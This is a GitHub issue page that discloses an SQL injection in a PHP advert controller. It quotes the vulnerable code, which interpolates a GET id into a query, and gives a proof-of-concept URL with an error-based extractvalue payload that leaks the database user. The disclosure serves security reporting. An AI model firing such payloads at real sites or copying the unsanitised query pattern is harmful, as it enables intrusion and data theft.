Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

\App\Manage\Controller\AdvertController.class.php has SQLinject #9

Open
maoqingya opened this issue Nov 28, 2021 · 0 comments
Open

\App\Manage\Controller\AdvertController.class.php has SQLinject #9

maoqingya opened this issue Nov 28, 2021 · 0 comments

Comments

@maoqingya
Copy link

@maoqingya maoqingya commented Nov 28, 2021

\App\Manage\Controller\AdvertController.class.php
line: 18 - 21
public function index() {
//查询指定id的栏目信息
$id=I('get.id');//类别ID
$topnav=M('Adnav')->where("id=$id")->select();

POC:
http://127.0.0.1/index.php/Advert/Index/Adnav?id=1%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))

@maoqingya maoqingya changed the title \App\Manage\Controller\AdvertController.class.php \App\Manage\Controller\AdvertController.class.php has SQLinject Nov 28, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
1 participant